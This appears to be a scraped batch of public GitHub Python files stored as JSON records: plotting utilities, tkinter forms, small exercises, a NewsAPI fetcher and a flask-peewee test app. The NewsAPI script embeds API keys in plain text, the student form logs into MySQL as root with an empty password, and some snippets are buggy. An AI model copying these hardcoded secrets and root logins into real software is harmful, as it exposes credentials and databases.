n, k = map(int, input().rstrip().split())\n\n c = list(map(int, input().rstrip().split()))\n\n result = jumping_on_clouds(c, k)\n\n print(str(result) + '\\n')\n","repo_name":"Dadajon/100-days-of-code","sub_path":"competitive-programming/hackerrank/algorithms/implementation/038-jumping-on-the-clouds/jumping-on-the-clouds.py","file_name":"jumping-on-the-clouds.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"38318394175","text":"\nimport pylab as plb\nimport numpy as npy\nfrom matplotlib.patches import Circle # for drawing smith chart\n#from matplotlib.lines import Line2D # for drawing smith chart\n\n\n\ndef smith(smithR=1, chart_type = 'z', draw_labels = False, border=False, \n ax=None):\n '''\n plots the smith chart of a given radius\n\n Parameters\n -----------\n smithR : number\n radius of smith chart\n chart_type : ['z','y']\n Contour type. Possible values are\n * *'z'* : lines of constant impedance\n * *'y'* : lines of constant admittance\n draw_labels : Boolean\n annotate real and imaginary parts of impedance on the \n chart (only if smithR=1)\n border : Boolean\n draw a rectangular border with axis ticks, around the perimeter \n of the figure. Not used if draw_labels = True\n \n ax : matplotlib.axes object\n existing axes to draw smith chart on\n\n\n '''\n ##TODO: fix this function so it doesnt suck\n if ax == None:\n ax1 = plb.gca()\n else:\n ax1 = ax\n\n # contour holds matplotlib instances of: pathes.Circle, and lines.Line2D, which\n # are the contours on the smith chart\n contour = []\n\n # these are hard-coded on purpose,as they should always be present\n rHeavyList = [0,1]\n xHeavyList = [1,-1]\n\n #TODO: fix this\n # these could be dynamically coded in the future, but work good'nuff for now\n if not draw_labels:\n rLightList = plb.logspace(3,-5,9,base=.5)\n xLightList = plb.hstack([plb.logspace(2,-5,8,base=.5), -1*plb.logspace(2,-5,8,base=.5)])\n else:\n rLightList = plb.array( [ 0.2, 0.5, 1.0, 2.0, 5.0 ] )\n xLightList = plb.array( [ 0.2, 0.5, 1.0, 2.0 , 5.0, -0.2, -0.5, -1.0, -2.0, -5.0 ] )\n\n # cheap way to make a ok-looking smith chart at larger than 1 radii\n if smithR > 1:\n rMax = (1.+smithR)/(1.-smithR)\n rLightList = plb.hstack([ plb.linspace(0,rMax,11) , rLightList ])\n\n if chart_type is 'y':\n y_flip_sign = -1\n else:\n y_flip_sign = 1\n # loops through Light and Heavy lists and draws circles using patches\n # for analysis of this see R.M. Weikles Microwave II notes (from uva)\n for r in rLightList:\n center = (r/(1.+r)*y_flip_sign,0 )\n radius = 1./(1+r)\n contour.append( Circle( center, radius, ec='grey',fc = 'none'))\n for x in xLightList:\n center = (1*y_flip_sign,1./x)\n radius = 1./x\n contour.append( Circle( center, radius, ec='grey',fc = 'none'))\n\n for r in rHeavyList:\n center = (r/(1.+r)*y_flip_sign,0 )\n radius = 1./(1+r)\n contour.append( Circle( center, radius, ec= 'black', fc = 'none'))\n for x in xHeavyList:\n center = (1*y_flip_sign,1./x)\n radius = 1./x\n contour.append( Circle( center, radius, ec='black',fc = 'none'))\n\n # clipping circle\n clipc = Circle( [0,0], smithR, ec='k',fc='None',visible=True)\n ax1.add_patch( clipc)\n\n #draw x and y axis\n ax1.axhline(0, color='k', lw=.1, clip_path=clipc)\n ax1.axvline(1*y_flip_sign, color='k', clip_path=clipc)\n ax1.grid(0)\n #set axis limits\n ax1.axis('equal')\n ax1.axis(smithR*npy.array([-1.1, 1.1, -1.1, 1.1])) \n \n \n if not border: \n ax1.yaxis.set_ticks([])\n ax1.xaxis.set_ticks([])\n for loc, spine in ax1.spines.iteritems():\n spine.set_color('none')\n \n \n if draw_labels:\n #Clear axis\n ax1.yaxis.set_ticks([])\n ax1.xaxis.set_ticks([])\n for loc, spine in ax1.spines.iteritems():\n spine.set_color('none')\n\n #Will make annotations only if the radius is 1 and it is the impedance smith chart\n if smithR is 1 and y_flip_sign is 1:\n #Make room for annotation\n ax1.axis(smithR*npy.array([-1., 1., -1.2, 1.2]))\n\n #Annotate real part\n for value in rLightList:\n rho = (value - 1)/(value + 1)\n ax1.annotate(str(value), xy=((rho-0.12)*smithR, 0.01*smithR), \\\n xytext=((rho-0.12)*smithR, 0.01*smithR))\n\n #Annotate imaginary part\n deltax = plb.array([-0.17, -0.14, -0.06, 0., 0.02, -0.2, -0.2, -0.08, 0., 0.03])\n deltay = plb.array([0., 0.03, 0.01, 0.02, 0., -0.02, -0.06, -0.09, -0.08, -0.05])\n for value, dx, dy in zip(xLightList, deltax, deltay):\n #Transforms from complex to cartesian and adds a delta to x and y values\n rhox = (-value**2 + 1)/(-value**2 - 1) * smithR * y_flip_sign + dx\n rhoy = (-2*value)/(-value**2 - 1) * smithR + dy\n #Annotate value\n ax1.annotate(str(value) + 'j', xy=(rhox, rhoy), xytext=(rhox, rhoy))\n\n #Annotate 0 and inf\n ax1.annotate('0.0', xy=(-1.15, -0.02), xytext=(-1.15, -0.02))\n ax1.annotate('$\\infty$', xy=(1.02, -0.02), xytext=(1.02, -0.02))\n\n # loop though contours and draw them on the given axes\n for currentContour in contour:\n cc=ax1.add_patch(currentContour)\n cc.set_clip_path(clipc)\n\ndef plot_rectangular(x, y, x_label=None, y_label=None, title=None,\n show_legend=True, axis='tight', ax=None, *args, **kwargs):\n '''\n plots rectangular data and optionally label axes.\n\n Parameters\n ------------\n z : array-like, of complex data\n data to plot\n x_label : string\n x-axis label\n y_label : string\n y-axis label\n title : string\n plot title\n show_legend : Boolean\n controls the drawing of the legend\n ax : :class:`matplotlib.axes.AxesSubplot` object\n axes to draw on\n *args,**kwargs : passed to pylab.plot\n \n '''\n if ax is None:\n ax = plb.gca()\n\n my_plot = ax.plot(x, y, *args, **kwargs)\n\n if x_label is not None:\n ax.set_xlabel(x_label)\n\n if y_label is not None:\n ax.set_ylabel(y_label)\n\n if title is not None:\n ax.set_title(title)\n\n if show_legend:\n # only show legend if they provide a label\n if 'label' in kwargs:\n ax.legend()\n\n if axis is not None:\n ax.axis(axis)\n \n if plb.isinteractive():\n plb.draw()\n \n return my_plot\n\ndef plot_polar(theta, r, x_label=None, y_label=None, title=None,\n show_legend=True, axis_equal=False, ax=None, *args, **kwargs):\n '''\n plots polar data on a polar plot and optionally label axes.\n\n Parameters\n ------------\n theta : array-like\n data to plot\n r : array-like\n \n x_label : string\n x-axis label\n y_label : string\n y-axis label\n title : string\n plot title\n show_legend : Boolean\n controls the drawing of the legend\n ax : :class:`matplotlib.axes.AxesSubplot` object\n axes to draw on\n *args,**kwargs : passed to pylab.plot\n \n See Also\n ----------\n plot_rectangular : plots rectangular data\n plot_complex_rectangular : plot complex data on complex plane\n plot_polar : plot polar data\n plot_complex_polar : plot complex data on polar plane\n plot_smith : plot complex data on smith chart\n\n '''\n if ax is None:\n ax = plb.gca(polar=True)\n\n ax.plot(theta, r, *args, **kwargs)\n\n if x_label is not None:\n ax.set_xlabel(x_label)\n\n if y_label is not None:\n ax.set_ylabel(y_label)\n\n if title is not None:\n ax.set_title(title)\n\n if show_legend:\n # only show legend if they provide a label\n if 'label' in kwargs:\n ax.legend()\n\n if axis_equal:\n ax.axis('equal')\n \n if plb.isinteractive():\n plb.draw()\n\ndef plot_complex_rectangular(z, x_label='Real', y_label='Imag',\n title='Complex Plane', show_legend=True, axis='equal', ax=None,\n *args, **kwargs):\n '''\n plot complex data on the complex plane\n\n Parameters\n ------------\n z : array-like, of complex data\n data to plot\n x_label : string\n x-axis label\n y_label : string\n y-axis label\n title : string\n plot title\n show_legend : Boolean\n controls the drawing of the legend\n ax : :class:`matplotlib.axes.AxesSubplot` object\n axes to draw on\n *args,**kwargs : passed to pylab.plot\n\n See Also\n ----------\n plot_rectangular : plots rectangular data\n plot_complex_rectangular : plot complex data on complex plane\n plot_polar : plot polar data\n plot_complex_polar : plot complex data on polar plane\n plot_smith : plot complex data on smith chart\n \n '''\n x = npy.real(z)\n y = npy.imag(z)\n plot_rectangular(x=x, y=y, x_label=x_label, y_label=y_label,\n title=title, show_legend=show_legend, axis=axis,\n ax=ax, *args, **kwargs)\n\ndef plot_complex_polar(z, x_label=None, y_label=None,\n title=None, show_legend=True, axis_equal=False, ax=None,\n *args, **kwargs):\n '''\n plot complex data in polar format.\n\n Parameters\n ------------\n z : array-like, of complex data\n data to plot\n x_label : string\n x-axis label\n y_label : string\n y-axis label\n title : string\n plot title\n show_legend : Boolean\n controls the drawing of the legend\n ax : :class:`matplotlib.axes.AxesSubplot` object\n axes to draw on\n *args,**kwargs : passed to pylab.plot\n\n See Also\n ----------\n plot_rectangular : plots rectangular data\n plot_complex_rectangular : plot complex data on complex plane\n plot_polar : plot polar data\n plot_complex_polar : plot complex data on polar plane\n plot_smith : plot complex data on smith chart\n '''\n theta = npy.angle(z)\n r = npy.abs(z)\n plot_polar(theta=theta, r=r, x_label=x_label, y_label=y_label,\n title=title, show_legend=show_legend, axis_equal=axis_equal,\n ax=ax, *args, **kwargs)\n\ndef plot_smith(z, smith_r=1, chart_type='z', x_label='Real',\n y_label='Imaginary', title='Complex Plane', show_legend=True,\n axis='equal', ax=None, force_chart = False, *args, **kwargs):\n '''\n plot complex data on smith chart\n\n Parameters\n ------------\n z : array-like, of complex data\n data to plot\n smith_r : number\n radius of smith chart\n chart_type : ['z','y']\n Contour type for chart.\n * *'z'* : lines of constant impedance\n * *'y'* : lines of constant admittance\n x_label : string\n x-axis label\n y_label : string\n y-axis label\n title : string\n plot title\n show_legend : Boolean\n controls the drawing of the legend\n axis_equal: Boolean\n sets axis to be equal increments (calls axis('equal'))\n force_chart : Boolean\n forces the re-drawing of smith chart \n ax : :class:`matplotlib.axes.AxesSubplot` object\n axes to draw on\n *args,**kwargs : passed to pylab.plot\n\n See Also\n ----------\n plot_rectangular : plots rectangular data\n plot_complex_rectangular : plot complex data on complex plane\n plot_polar : plot polar data\n plot_complex_polar : plot complex data on polar plane\n plot_smith : plot complex data on smith chart\n '''\n \n if ax is None:\n ax = plb.gca()\n\n # test if smith chart is already drawn\n if not force_chart:\n if len(ax.patches) == 0:\n smith(ax=ax, smithR = smith_r, chart_type=chart_type)\n\n plot_complex_rectangular(z, x_label=x_label, y_label=y_label,\n title=title, show_legend=show_legend, axis=axis,\n ax=ax, *args, **kwargs)\n\n ax.axis(smith_r*npy.array([-1.1, 1.1, -1.1, 1.1]))\n if plb.isinteractive():\n plb.draw()\n\ndef shade_bands(edges, y_range=[-1e5,1e5],cmap='prism', **kwargs):\n '''\n Shades frequency bands.\n \n when plotting data over a set of frequency bands it is nice to \n have each band visually seperated from the other. The kwarg `alpha`\n is useful.\n \n Parameters \n --------------\n edges : array-like\n x-values seperating regions of a given shade\n y_range : tuple \n y-values to shade in \n cmap : str\n see matplotlib.cm or matplotlib.colormaps for acceptable values\n \\*\\* : key word arguments\n passed to `matplotlib.fill_between`\n \n Examples \n -----------\n >>> rf.shade_bands([325,500,750,1100], alpha=.2)\n '''\n cmap = plb.cm.get_cmap(cmap)\n for k in range(len(edges)-1):\n plb.fill_between(\n [edges[k],edges[k+1]], \n y_range[0], y_range[1], \n color = cmap(1.0*k/len(edges)),\n **kwargs)\n\n\ndef save_all_figs(dir = './', format=None, replace_spaces = True):\n '''\n Save all open Figures to disk.\n\n Parameters\n ------------\n dir : string\n path to save figures into\n format : None, or list of strings\n the types of formats to save figures as. The elements of this\n list are passed to :matplotlib:`savefig`. This is a list so that\n you can save each figure in multiple formats. \n '''\n if dir[-1] != '/':\n dir = dir + '/'\n for fignum in plb.get_fignums():\n fileName = plb.figure(fignum).get_axes()[0].get_title()\n if replace_spaces:\n fileName = fileName.replace(' ','_')\n if fileName == '':\n fileName = 'unamedPlot'\n if format is None:\n plb.savefig(dir+fileName)\n print (dir+fileName)\n else:\n for fmt in format:\n plb.savefig(dir+fileName+'.'+fmt, format=fmt)\n print (dir+fileName+'.'+fmt)\nsaf = save_all_figs\n\ndef add_markers_to_lines(ax=None,marker_list=['o','D','s','+','x'], markevery=10):\n '''\n adds markers to existing lings on a plot \n \n this is convinient if you have already have a plot made, but then \n need to add markers afterwards, so that it can be interpreted in \n black and white. The markevery argument makes the markers less \n frequent than the data, which is generally what you want. \n \n Parameters\n -----------\n ax : matplotlib.Axes\n axis which to add markers to, defaults to gca()\n marker_list : list of marker characters\n see matplotlib.plot help for possible marker characters\n markevery : int\n markevery number of points with a marker.\n \n '''\n if ax is None:\n ax=plb.gca()\n lines = ax.get_lines()\n if len(lines) > len (marker_list ):\n marker_list *= 3\n [k[0].set_marker(k[1]) for k in zip(lines, marker_list)]\n [line.set_markevery(markevery) for line in lines]\n\ndef legend_off(ax=None):\n '''\n turn off the legend for a given axes. \n \n if no axes is given then it will use current axes.\n \n Parameters\n -----------\n ax : matplotlib.Axes object\n axes to operate on \n '''\n if ax is None:\n plb.gca().legend_.set_visible(0)\n else:\n ax.legend_.set_visible(0)\n\ndef func_on_all_figs(func, *args, **kwargs):\n '''\n runs a function after making all open figures current. \n \n useful if you need to change the properties of many open figures \n at once, like turn off the grid. \n \n Parameters\n ----------\n func : function\n function to call\n \\*args, \\*\\*kwargs : pased to func\n \n Examples\n ----------\n >>> rf.func_on_all_figs(grid,alpha=.3)\n '''\n for fig_n in plb.get_fignums():\n fig = plb.figure(fig_n)\n for ax_n in fig.axes:\n fig.add_axes(ax_n) # trick to make axes current\n func(*args, **kwargs)\n plb.draw()\n\nfoaf = func_on_all_figs\n","repo_name":"edy555/scikit-rf","sub_path":"skrf/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":15520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"34585112830","text":"#! python3\n# mapIt - take Google maps link from clipboard and open it in browser\n\nimport webbrowser,logging, sys, pyperclip\n\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\nlogging.disable(logging.CRITICAL)\n\nif len(sys.argv) > 1:\n address = ''.join(sys.argv[1:])\nelse:\n address = pyperclip.paste()\n\nwebbrowser.open('https://www.google.com/maps/place/' + address)\n","repo_name":"Atropos148/AutomateTheBoringStuff","sub_path":"mapIt.py","file_name":"mapIt.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70182320712","text":"from tkinter import *\nfrom PIL import Image,ImageTk\n\nclass Demo1:\n \n def __init__(self, master):\n global load\n self.master = master\n self.frame = tkinter.Frame(self.master)\n\n self.button1 = tk.Button(self.frame, text = 'New Window', width = 25, command = self.new_window)\n self.button1.pack()\n self.frame.pack()\n\n def new_window(self):\n self.newWindow = tk.Toplevel(self.master)\n self.app = Demo2(self.newWindow)\n \n \n\nclass Demo2:\n def __init__(self, master):\n self.master = master\n self.frame = tk.Frame(self.master)\n self.quitButton = tk.Button(self.frame, text = 'Quit', width = 25, command = self.close_windows)\n self.quitButton.pack()\n self.frame.pack()\n\n def close_windows(self):\n self.master.destroy()\n\ndef main(): \n root = Tk()\n root.geometry('1920x1080')\n root.configure(bg =\"#13254a\")\n load = Image.open('boton-05.png')\n render = ImageTk.PhotoImage(load)\n\n app = Demo1(root)\n\n root.mainloop()\n\nif __name__ == '__main__':\n main()","repo_name":"larivera-UVG/Etapas-de-sueno-pulsos-binaurales","sub_path":"Pulsos Binaurales/Codigo/Python-Raspberry/Interfaz Gráfica/InterfazGraficaV1/ArchivosPrueba/MULTIPLESVENTANAS2.py","file_name":"MULTIPLESVENTANAS2.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"42140192839","text":"highscore = [100,89,95,77]\nfor i, score in enumerate(highscore):\n xxxx = i+1\n print(str(xxxx)+\".\", score)\nwhile True:\n a = int(input('enter new score'))\n highscore.append(a)\n highscore.sort(reverse=True)\n if len(highscore)>5:\n highscore.pop(5)\n for i, score in enumerate(highscore):\n xxxx = i+1\n print(str(xxxx)+\".\", score)","repo_name":"phamlam24/code1","sub_path":"C4T26/session9/highscore.py","file_name":"highscore.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"2023838359","text":"# -*- coding: utf-8 -*-\n\nfrom zvt.contract.api import df_to_db\nfrom zvt.contract.recorder import FixedCycleDataRecorder\nfrom zvt.domain import Country, Economy\nfrom zvt.recorders.wb import wb_api\nfrom zvt.utils import current_date\n\n\nclass WBEconomyRecorder(FixedCycleDataRecorder):\n entity_schema = Country\n data_schema = Economy\n entity_provider = \"wb\"\n provider = \"wb\"\n\n def record(self, entity, start, end, size, timestamps):\n date = None\n if start:\n date = f\"{start.year}:{current_date().year}\"\n df = wb_api.get_economy_data(entity_id=entity.id, date=date)\n df[\"name\"] = entity.name\n df_to_db(df=df, data_schema=self.data_schema, provider=self.provider, force_update=self.force_update)\n\n\nif __name__ == \"__main__\":\n entity_ids = [\"country_galaxy_CN\", \"country_galaxy_US\"]\n r = WBEconomyRecorder(entity_ids=entity_ids)\n r.run()\n# the __all__ is generated\n__all__ = [\"WBEconomyRecorder\"]\n","repo_name":"zvtvz/zvt","sub_path":"src/zvt/recorders/wb/wb_economy_recorder.py","file_name":"wb_economy_recorder.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2739,"dataset":"github-code","pt":"27"} +{"seq_id":"10908902879","text":"# Task 1\r\n\r\nstack = []\r\nindex = []\r\nopeningbrackets = [\"[\",'{',\"(\"]\r\nclosingbrackets = [\"]\",\"}\",\")\"]\r\n\r\n\r\ndef paranthesis_balancing(string):\r\n t = 0\r\n expression = True\r\n for x in range(0,len(string)):\r\n if string[x] in openingbrackets or string[x] in closingbrackets:\r\n if string[x] in openingbrackets:\r\n stack.append(string[x])\r\n index.append(x+1)\r\n else:\r\n if len(stack) == 0 and string[x] in closingbrackets:\r\n t = string[x]\r\n index.append(x+1)\r\n expression = False\r\n break\r\n t = stack.pop()\r\n expression = bracket_checking(t,string[x])\r\n if expression == True:\r\n index.pop()\r\n \r\n\r\n if expression is True:\r\n print(\"This expression is correct.\")\r\n \r\n \r\n else:\r\n if len(stack) != 0:\r\n print('This expression is NOT correct.')\r\n print(\"Error at character # {0}. '{1}'- not closed.\".format(index[-1], t))\r\n \r\n else:\r\n if expression is False: \r\n print('This expression is NOT correct.')\r\n print(\"Error at character # {0}. '{1}'- not opened.\".format(index[0], t))\r\n\r\n \r\n\r\n \r\n\r\ndef bracket_checking(a,b):\r\n if a == \"(\" and b == \")\":\r\n return True\r\n elif a == \"{\" and b == \"}\":\r\n return True\r\n elif a == \"[\" and b ==\"]\":\r\n return True\r\n else:\r\n return False\r\n\r\nstring = input()\r\nparanthesis_balancing(string)\r\n","repo_name":"AnonXarkA/DATA-STRUCTURES-CSE220-BRACU","sub_path":"LAB 4/Task 1.py","file_name":"Task 1.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"27"} +{"seq_id":"36608858906","text":"import json\nimport xmltodict\nfrom path import Path\n\n\ndef convert(xml_file, xml_attribs=True):\n with open(xml_file, \"rb\") as f: \n d = xmltodict.parse(f, xml_attribs=xml_attribs)\n return json.dumps(d, indent=2)\n\n\n\nif __name__ == '__main__':\t\t\n\t# Fix pb in tlocal path\n\tcwd = Path.getcwd()\n\tif (cwd/'data').isdir():\n\t\tdata = cwd/'data'\n\telif (cwd/'test'/'data').isdir():\n\t\tdata = cwd/'test'/'data'\n\telse:\n\t\tprint('Data directory not found')\n\n\txmls = data.glob('*.xml')\n\tfn = data.glob('Example*.xml')[0]\n \t\t\n\tjson_file=convert(fn)\n\twith open(cwd/\"jsonfile.json\",\"w\") as f:\n\t\tf.write(json_file)\n\t\n","repo_name":"christian34/PyCrop2ML","sub_path":"backup_example/xml_json.py","file_name":"xml_json.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"26470870398","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\n\nsys.path.pop(0)\nsys.path.insert(0, os.getcwd())\n\nfrom flask_peewee.db import Database\nfrom flask.ext.security import Security, UserMixin, RoleMixin, \\\n PeeweeUserDatastore\nfrom flask.ext.social import Social, PeeweeConnectionDatastore\nfrom peewee import *\n\nfrom tests.test_app import create_app as create_base_app, populate_data\n\n\ndef create_app(config=None, debug=True):\n app = create_base_app(config, debug)\n app.config['DATABASE'] = {\n 'name': 'example2.db',\n 'engine': 'peewee.SqliteDatabase',\n }\n\n db = Database(app)\n\n class Role(db.Model, RoleMixin):\n name = TextField(unique=True)\n description = TextField(null=True)\n\n class User(db.Model, UserMixin):\n email = TextField()\n password = TextField()\n last_login_at = DateTimeField(null=True)\n current_login_at = DateTimeField(null=True)\n last_login_ip = TextField(null=True)\n current_login_ip = TextField(null=True)\n login_count = IntegerField(null=True)\n active = BooleanField(default=True)\n confirmed_at = DateTimeField(null=True)\n\n class UserRoles(db.Model):\n \"\"\" Peewee does not have built-in many-to-many support, so we have to\n create this mapping class to link users to roles.\"\"\"\n user = ForeignKeyField(User, related_name='roles')\n role = ForeignKeyField(Role, related_name='users')\n name = property(lambda self: self.role.name)\n description = property(lambda self: self.role.description)\n\n class Connection(db.Model):\n user = ForeignKeyField(User, related_name='connections')\n provider_id = TextField()\n provider_user_id = TextField()\n access_token = TextField()\n secret = TextField(null=True)\n display_name = TextField()\n full_name = TextField()\n profile_url = TextField()\n image_url = TextField()\n rank = IntegerField(null=True)\n\n app.security = Security(app, PeeweeUserDatastore(db, User, Role, UserRoles))\n app.social = Social(app, PeeweeConnectionDatastore(db, Connection))\n\n @app.before_first_request\n def before_first_request():\n for Model in (Role, User, UserRoles, Connection):\n Model.drop_table(fail_silently=True)\n Model.create_table(fail_silently=True)\n populate_data()\n\n app.get_user = lambda: User.select().get()\n\n return app\n\nif __name__ == '__main__':\n create_app().run()\n","repo_name":"mattupstate/flask-social","sub_path":"tests/test_app/peewee_app.py","file_name":"peewee_app.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"27"} +{"seq_id":"25461063040","text":"\"\"\"\r\nFaça um programa que leia um conjunto não determinado de valores, um de cada vez,\r\ne escreva pra cada um dos valores lidos, o quadrado, o cubo e a raiz quadrada.\r\n\r\nFinalize a entrada de dados com um valor negativo ou zero.\r\n\"\"\"\r\n\r\n\r\nlista_num = []\r\n\r\nnum = int(input('Digite um número: '))\r\nlista_num.append(num)\r\n\r\nwhile num > 0:\r\n num = int(input('Digite outro número: '))\r\n lista_num.append(num)\r\n if num <= 0:\r\n lista_num.pop()\r\n break\r\nprint()\r\nprint(f'Os valores digitados foram: {lista_num}')\r\nprint()\r\n\r\nfor n in lista_num:\r\n quadrados = n * n\r\n cubo = n * n * n\r\n raiz = n ** (1/2)\r\n print(f'O quadrado de {n} é: {quadrados}')\r\n print(f'O cubo de {n} é {cubo}')\r\n print(f'A raiz quadrada de {n} é: {raiz: .2f}')\r\n print()\r\n","repo_name":"Viccari073/exercises_for_range_while","sub_path":"exer_estruturas_de_repeticao_42.py","file_name":"exer_estruturas_de_repeticao_42.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23454253106","text":"from tkinter import *\nfrom tkinter.ttk import *\nfrom tkinter import messagebox\nimport pymysql\n\ndbc=pymysql.connect(host='localhost',user='root',passwd='',db='shyam')\n\nc=dbc.cursor()\n\nc.execute('select * from sis')\n\ndata=c.fetchall()\n\nwin = Tk()\nwin.title('ENTER STUDENT INFORMATION')\nwin.geometry('600x600')\nwin.config(bg='blue')\n\ndef register():\n \n first = e1.get()\n last = e2.get()\n dob = str(e3.get())\n father = e4.get()\n com = str(course.get())\n gender = var_chk.get()\n email = e5.get()\n cellnum = e6.get()\n fullname=first + last\n \n if gender == 1:\n gender='Male'\n else:\n gender ='Female'\n \n result = str('Full Name:'+first+last+'\\n'+'DOB:'+dob+'\\n'+'Father Name:'+father+'\\n'+'Course:'+com+'\\n'+'Gender:'+str(gender)+'\\n'+'email:'+email+'\\n'+'cellnumber:'+cellnum)\n newwindow=Toplevel(win)\n newwindow.geometry('1090x1200')\n newwindow.config(bg='green')\n newwindow.title('STUDENT INFORMATION')\n messagebox.showinfo('DATABASE', 'DATABASE WAS SUCCESSFULLY CREATED')\n l=Label(newwindow,text='FULL NAME',fg='yellow',bg='green',font=('calibri Bold',20))\n l.place(x=10,y=20)\n\n \n#text box\n \n text = Text(newwindow,height=7,width=30)\n text.place(x=600,y=300)\n text.insert(0.0,result)\n \n kv=\"INSERT INTO sis(fullname,gender,DateOfBirth,fathername,selectedCourse,email,cellnumber)VALUES(%s,%s,%s,%s,%s,%s,%s)\"\n val=(fullname,gender,dob,father,com,email,cellnum)\n c.execute(kv,val)\n \n dbc.commit()\n dbc.rollback()\n dbc.close()\n \ndef clear():\n e1.delete(first=0,last=100000)\n e2.delete(first=0,last=100000)\n e3.delete(first=0,last=100000)\n e4.delete(first=0,last=100000)\n e5.delete(first=0,last=100000)\n e6.delete(first=0,last=100000)\n course.delete(first=0,last=100000)\n text.delete(0.0,END)\n var_chk.set(0)\n\ndef show():\n \n for i in data:\n print('+++++++++++++++++++++++++++++++++++')\n print(i)\n \ndef cancel():\n win.destroy()\n \n\n#labels\nfirst_name = Label(win,text='First Name')\nfirst_name.grid(row=0,column=0)\nlast_name = Label(win,text='Last Name')\nlast_name.grid(row=1,column=0)\nroll = Label(win,text='DOB')\nroll.grid(row=2,column=0)\nfather_name = Label(win,text='Father Name')\nfather_name.grid(row=3,column=0)\ngender = Label(win,text='email')\ngender.grid(row=4,column=0)\ngender = Label(win,text='cellnumber')\ngender.grid(row=5,column=0)\nselect_course = Label(win,text='Select course')\nselect_course.grid(row=6,column=0)\ngender = Label(win,text='Select gender')\ngender.grid(row=7,column=0)\n\n\n\n#Combo box\ncourse = Combobox(win)\ncourse['values']= ('Data Science','Cloud Computing','Internet of things ','Artificial Intelligence','Ethical hacking')\ncourse.current(None) \ncourse.grid(row=6,column=1)\n\n\n#entry\ne1 = Entry(win)\ne1.grid(row=0,column=1)\ne2 = Entry(win)\ne2.grid(row=1,column=1)\ne3 = Entry(win)\ne3.grid(row=2,column=1)\ne4 = Entry(win)\ne4.grid(row=3,column=1)\ne5 = Entry(win)\ne5.grid(row=4,column=1)\ne6 = Entry(win)\ne6.grid(row=5,column=1)\n\n#Radio button\nvar_chk = IntVar()\nradio1 = Radiobutton(win,text='Male',variable=var_chk,value=1)\nradio1.grid(row=7,column=1)\nradio2 = Radiobutton(win,text='Female',variable=var_chk,value=2)\nradio2.grid(row=7,column=2)\n\n\n\n#Buttons\nb1 = Button(win,text='Register',command=register)\nb1.grid(row=14,column=1)\nb2 = Button(win,text='Exit',command=cancel)\nb2.grid(row=14,column=2)\nb3 = Button(win,text='Clear',command=clear)\nb3.grid(row=14,column=3)\nb4 = Button(win,text='print database',command=show)\nb4.grid(row=14,column=4)\n\n\n\n\nwin.mainloop()\n\n","repo_name":"SHYAMKARTHICKEYAN/Student-Information-System-in-Python-with-SQL-Database","sub_path":"student information system.py","file_name":"student information system.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14135549721","text":"import requests\nimport json\n\n# ENDPOINT to reach top headlines based on counrty\n# Fill in country code and Api key\n# Sample URL - 'https://newsapi.org/v2/top-headlines?country=us&apiKey=df26ff21b2ff4781b55ecf507e3d6c6a'\n# Check out https://newsapi.org/docs/endpoints/top-headlines for more details - same as discussed in class\n\napi_key='59e155c501ab4b63aed74766e3bc9720'\n\ncountry_code=input('enter the country code:')\nc=input('select the category\\n1.Business\\n2.Entertainment\\n3.General\\n4.Health\\n5.Sports\\n6.Tech')\n\ncategory={'1':'business','2':'entertainment','3':'general','4':'health','5':'sports','6':'technology'}\n\nurl = 'https://newsapi.org/v2/top-headlines?country='+country_code+'&category='+category[c]+'&apiKey='+api_key\n\n\nres = requests.get(url)\n\nif res.status_code == 200: #Checking if api call is successful\n # Getting data out of response\n data = res.text\n \n #Convert json data to python dict\n data_py = json.loads(data)\n\n # Parsing source, author, Title and content of each article and formatting with multiline f-strings \n for article in data_py['articles']:\n news = (f'Source - {article[\"source\"][\"name\"]}\\n'\n f'Author - {article[\"author\"]}\\n'\n f'Title:\\n{article[\"title\"]}\\n'\n f'Content:\\n{article[\"content\"]}')\n print(news+'\\n\\n')\n \n","repo_name":"sriram0402/pythonCodes","sub_path":"Python/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23501672610","text":"\t\t\t\t\t\t\t###Rotate list###\n\n# For example:\n# Given 1->2->3->4->5->NULL and k = 2,\n# return 4->5->1->2->3->NULL.\n\nclass Solution: \n # @param head, a ListNode \n # @param k, an integer \n # @return a ListNode \n def rotateRight(self, head, k): \n if head == None or k == 0: \n return head \n \n length = 1 \n node = head \n while node.next != None: \n length += 1 \n node = node.next \n \n m = k % length \n \n node.next = head \n \n for i in range(length - m): \n node = node.next \n \n head = node.next \n \n node.next = None \n \n return head \n","repo_name":"tusharkailash-zz/LeetCode-Problems-in-Python-","sub_path":"Linked List/rotate_list.py","file_name":"rotate_list.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"40697223040","text":"import pygame\nimport random\n\nmaxs = 6\n\n\n# 创建一个pygame Sprite类的子类:战斗机\nclass 